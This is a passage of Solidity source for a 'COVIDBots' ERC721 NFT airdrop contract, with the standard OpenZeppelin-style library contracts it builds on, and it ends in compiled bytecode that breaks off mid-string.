* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
// <3
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// WELCOME TO COVIDBots, the exclusive, limited edition NFT series airdropped to COVIDPunks fans who experienced the dreaded
// "out-of-gas" error during our launch. COVIDBots are a cryptographically unique and highly scarce collection that will
// never be available for minting by anyone. Thank you for your patience on this airdrop. We are so grateful for our
// lovely, enthusiastic community! May Gill Bates save us all. :-)
// -Waddle, Waggle, and Liu
pragma solidity ^0.8.0;
contract COVIDBots is Ownable, ERC721Enumerable, ReentrancyGuard {
using Counters for Counters.Counter;
using Strings for uint256;
string public imageHash;
uint256 public constant MAX_MINTABLE_AT_ONCE = 20;
string public botcontractURI;
constructor() ERC721("COVIDBots", "BOT-19") {}
uint256[3884] private _availableTokens;
uint256 private _numAvailableTokens = 3884;
uint256 private _lastTokenIdMintedInInitialSet = 3884;
function numTotalBots() public view virtual returns (uint256) {
return 3884;
}
// function to mint and send airdrop
function airdropMint(address receiver, uint256 numRolls) public onlyOwner {
require(numRolls < 21, "You should not mint more than 20 at a time.");
uint256 toMint = numRolls;
_mint(toMint, receiver);
}
// internal minting function
function _mint(uint256 _numToMint, address receiver) internal {
require(_numToMint <= MAX_MINTABLE_AT_ONCE, "Minting too many at once.");
uint256 updatedNumAvailableTokens = _numAvailableTokens;
for (uint256 i = 0; i < _numToMint; i++) {
uint256 newTokenId = useRandomAvailableToken(_numToMint, i);
_safeMint(receiver, newTokenId);
updatedNumAvailableTokens--;
}
_numAvailableTokens = updatedNumAvailableTokens;
}
function useRandomAvailableToken(uint256 _numToFetch, uint256 _i)
internal
returns (uint256)
{
uint256 randomNum =
uint256(
keccak256(
abi.encode(
msg.sender,
tx.gasprice,
block.number,
block.timestamp,
blockhash(block.number - 1),
_numToFetch,
_i
)
)
);
uint256 randomIndex = randomNum % _numAvailableTokens;
return useAvailableTokenAtIndex(randomIndex);
}
function useAvailableTokenAtIndex(uint256 indexToUse)
internal
returns (uint256)
{
uint256 valAtIndex = _availableTokens[indexToUse];
uint256 result;
if (valAtIndex == 0) {
// This means the index itself is still an available token
result = indexToUse;
} else {
// This means the index itself is not an available token, but the val at that index is.
result = valAtIndex;
}
uint256 lastIndex = _numAvailableTokens - 1;
if (indexToUse != lastIndex) {
// Replace the value at indexToUse, now that it's been used.
// Replace it with the data from the last index in the array, since we are going to decrease the array size afterwards.
uint256 lastValInArray = _availableTokens[lastIndex];
if (lastValInArray == 0) {
// This means the index itself is still an available token
_availableTokens[indexToUse] = lastIndex;
} else {
// This means the index itself is not an available token, but the val at that index is.
_availableTokens[indexToUse] = lastValInArray;
}
}
_numAvailableTokens--;
return result;
}
function contractURI() public view returns (string memory){
return botcontractURI;
}
function getBotsBelongingToOwner(address _owner)
external
view
returns (uint256[] memory)
{
uint256 numBots = balanceOf(_owner);
if (numBots == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](numBots);
for (uint256 i = 0; i < numBots; i++) {
result[i] = tokenOfOwnerByIndex(_owner, i);
}
return result;
}
}
/*
* Dev stuff.
*/
// metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
string memory base = _baseURI();
string memory _tokenURI = Strings.toString(_tokenId);
string memory ending = ".json";
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
return string(abi.encodePacked(base, _tokenURI, ending));
}
/*
* Owner stuff
*/
// URIs
function setBaseURI(string memory baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function setContractURI(string memory _contractURI) external onlyOwner {
botcontractURI = _contractURI;
}
function setImageHash(string memory _imageHash) external onlyOwner {
imageHash = _imageHash;
}
function withdraw() public onlyOwner {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
//xoxo | 0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80636352211e11610104578063b88d4fde116100a2578063e8a3d48511610071578063e8a3d48514610541578063e985e9c51461055f578063f2fde38b1461058f578063f4d20a89146105ab576101da565b8063b88d4fde146104a7578063c87b56dd146104c3578063cbf775b2146104f3578063d9fd734114610511576101da565b80638da5cb5b116100de5780638da5cb5b14610433578063938e3d7b1461045157806395d89b411461046d578063a22cb4651461048b576101da565b80636352211e146103c957806370a08231146103f9578063715018a614610429576101da565b806322ad06701161017c57806342842e0e1161014b57806342842e0e146103435780634f6ccce71461035f57806351605d801461038f57806355f804b3146103ad576101da565b806322ad0670146102d157806323b872dd146102ed5780632f745c59146103095780633ccfd60b14610339576101da565b8063081812fc116101b8578063081812fc14610249578063095ea7b31461027957806316939d8b1461029557806318160ddd146102b3576101da565b806301ffc9a7146101df57806304299b2a1461020f57806306fdde031461022b575b600080fd5b6101f960048036038101906101f4919061303b565b6105c9565b6040516102069190613678565b60405180910390f35b6102296004803603810190610224919061308d565b6105db565b005b610233610671565b6040516102409190613693565b60405180910390f35b610263600480360381019061025e91906130ce565b610703565b6040516102709190613580565b60405180910390f35b610293600480360381019061028e9190612fff565b610788565b005b61029d6108a0565b6040516102aa9190613693565b60405180910390f35b6102bb61092e565b6040516102c89190613935565b60405180910390f35b6102eb60048036038101906102e69190612fff565b61093b565b005b61030760048036038101906103029190612ef9565b610a0e565b005b610323600480360381019061031e9190612fff565b610a6e565b6040516103309190613935565b60405180910390f35b610341610b13565b005b61035d60048036038101906103589190612ef9565b610c3e565b005b610379600480360381019061037491906130ce565b610c5e565b6040516103869190613935565b60405180910390f35b610397610cf5565b6040516103a49190613693565b60405180910390f35b6103c760048036038101906103c2919061308d565b610d83565b005b6103e360048036038101906103de91906130ce565b610e1a565b6040516103f09190613580565b60405180910390f35b610413600480360381019061040e9190612e94565b610ecc565b6040516104209190613935565b60405180910390f35b610431610f84565b005b61043b6110be565b6040516104489190613580565b60405180910390f35b61046b6004803603810190610466919061308d565b6110e7565b005b61047561117d565b6040516104829190613693565b60405180910390f35b6104a560048036038101906104a09190612fc3565b61120f565b005b6104c160048036038101906104bc9190612f48565b611390565b005b6104dd60048036038101906104d891906130ce565b6113f2565b6040516104ea9190613693565b60405180910390f35b6104fb61148b565b6040516105089190613935565b60405180910390f35b61052b60048036038101906105269190612e94565b611490565b6040516105389190613656565b6040518091039